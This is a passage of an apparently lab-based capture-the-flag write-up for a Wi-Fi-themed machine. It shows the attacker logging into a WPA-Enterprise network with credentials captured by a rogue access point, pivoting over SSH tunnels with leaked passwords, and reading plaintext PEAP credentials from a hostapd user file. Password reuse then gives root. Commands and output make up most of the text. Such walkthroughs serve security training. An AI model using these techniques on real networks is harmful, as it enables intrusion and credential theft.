With a working EAP identity and password available, the rogue AP can be decommissioned and authentication against the real AirTouch-Office can proceed. Eaphammer was killed, the wlan3 AP interface was torn down to avoid conflict with the real APs during association, and a new wpa_supplicant config was applied to wlan2:
sudo pkill -9 -f eaphammer
sudo pkill -9 -f "while true" # kill the deauth loop
sudo iw wlan3 del
cat << 'EOF' | sudo tee /tmp/wpa_office.conf
ctrl_interface=/var/run/wpa_supplicant
network={
ssid="AirTouch-Office"
key_mgmt=WPA-EAP
eap=PEAP
identity="AirTouch\r4ulcl"
password="laboratory"
phase2="auth=MSCHAPV2"
}
EOF
sudo wpa_supplicant -B -i wlan2 -c /tmp/wpa_office.conf
The 1st attempt used identity="r4ulcl" without the domain prefix. The RADIUS server returned a bare CTRL-EVENT-EAP-FAILURE despite the PEAP TLS tunnel setting up cleanly. The identity captured by eaphammer was AirTouch\r4ulcl, which is the required value in the config. After the prefix was added, auth succeeded:
wlan2: Associated with ac:8b:a9:aa:3f:d2
wlan2: CTRL-EVENT-EAP-STARTED EAP authentication started
wlan2: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 25 (PEAP) selected
wlan2: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=ES/ST=Madrid/L=Madrid/O=AirTouch/OU=Certificate Authority/CN=AirTouch CA/emailAddress=ca@AirTouch.htb'
wlan2: CTRL-EVENT-EAP-PEER-CERT depth=0 subject='/C=ES/L=Madrid/O=AirTouch/OU=Server/CN=AirTouch CA/emailAddress=server@AirTouch.htb'
EAP-MSCHAPV2: Authentication succeeded
wlan2: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully
wlan2: WPA: Key negotiation completed with ac:8b:a9:aa:3f:d2 [PTK=CCMP GTK=CCMP]
wlan2: CTRL-EVENT-CONNECTED - Connection to ac:8b:a9:aa:3f:d2 completed
DHCP handed a lease on the Corp subnet right after:
sudo dhclient wlan2
ip a show wlan2
inet 10.10.10.95/24 brd 10.10.10.255 scope global dynamic wlan2
The host is now tri-homed across all 3 VLANs: 172.20.1.2 (consultant), 192.168.3.48 (tablets), and 10.10.10.95 (corp). The 10.10.10.1 host referenced by send_certs.sh is now routable.
Pivot to 10.10.10.1: AirTouch-AP-MGT
Another SSH local forward was chained through the consultant container, targeting the corp-side SSH, using the remote credentials from send_certs.sh:
ssh -L 3333:10.10.10.1:22 -f -N consultant@10.129.244.98
ssh -p 3333 remote@127.0.0.1
# password: xGgWEwqUpfoOVsLeROeG
remote@AirTouch-AP-MGT:~$ id
uid=1000(remote) gid=1000(remote) groups=1000(remote)
remote@AirTouch-AP-MGT:~$ hostname
AirTouch-AP-MGT
remote@AirTouch-AP-MGT:~$ ip a | grep inet
inet 127.0.0.1/8 scope host lo
inet 10.10.10.1/24 scope global br0
The host is named AirTouch-AP-MGT, matching the Management / Enterprise AP from the diagram, which hosts AirTouch-Office. It runs 2 instances of hostapd_aps (an eaphammer-derived hostapd build) against /root/mgt/hostapd_wpe.conf and /root/mgt/hostapd_wpe2.conf, 1 per BSSID observed in the air. remote is a low-privilege SSH account with no sudo:
remote@AirTouch-AP-MGT:~$ sudo -l
Sorry, user remote may not run sudo on AirTouch-AP-MGT.
Content under /root is inaccessible:
remote@AirTouch-AP-MGT:~$ ls /root
ls: cannot open directory '/root': Permission denied
However, hostapd's EAP user database does not need to reside under /root. The start.sh template on the PSK router placed configs under /root/psk/, but hostapd on this box reads its eap_user_file from whatever path the config specifies. The defaults under /etc/hostapd are the next target:
remote@AirTouch-AP-MGT:~$ ls /etc/hostapd
hostapd_wpe.conf.tmp
hostapd_wpe.eap_user
hostapd_wpe2.conf.tmp
ifupdown.sh
The runtime configs point at /root/mgt/... and are unreadable, but the .tmp templates and the hostapd_wpe.eap_user database are world-readable. The hostapd EAP user file stores PEAP credentials in plaintext, since the authenticator has to run MSCHAPv2 against them:
remote@AirTouch-AP-MGT:~$ cat /etc/hostapd/hostapd_wpe.eap_user | grep -v '^#' | grep -v '^$'
* PEAP,TTLS,TLS,FAST
* PEAP,TTLS,TLS,FAST [ver=1]
"AirTouch\r4ulcl" MSCHAPV2 "laboratory" [2]
"admin" MSCHAPV2 "xMJpzXt4D9ouMuL3JJsMriF7KZozm7" [2]
2 plaintext PEAP identities. The first, AirTouch\r4ulcl with password laboratory, matches the pair obtained via eaphammer, confirming alignment. The second is new: admin : xMJpzXt4D9ouMuL3JJsMriF7KZozm7. A local Linux user named admin exists on this host (uid 1001, per /etc/passwd), making cross-service password reuse the next test.
Privilege Escalation: The Admin Account
ssh -p 3333 admin@127.0.0.1
# password: xMJpzXt4D9ouMuL3JJsMriF7KZozm7
admin@AirTouch-AP-MGT:~$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin)
admin@AirTouch-AP-MGT:~$ sudo -l
User admin may run the following commands on AirTouch-AP-MGT:
(ALL) ALL
(ALL) NOPASSWD: ALL
Password reuse came through, admin had full NOPASSWD sudo, and the root flag was obtained
admin@AirTouch-AP-MGT:~$ sudo find / -name root.txt 2>/dev/null
/root/root.txt
admin@AirTouch-AP-MGT:~$ sudo cat /root/root.txt
b297203147a9e487a21b386bb766a5ca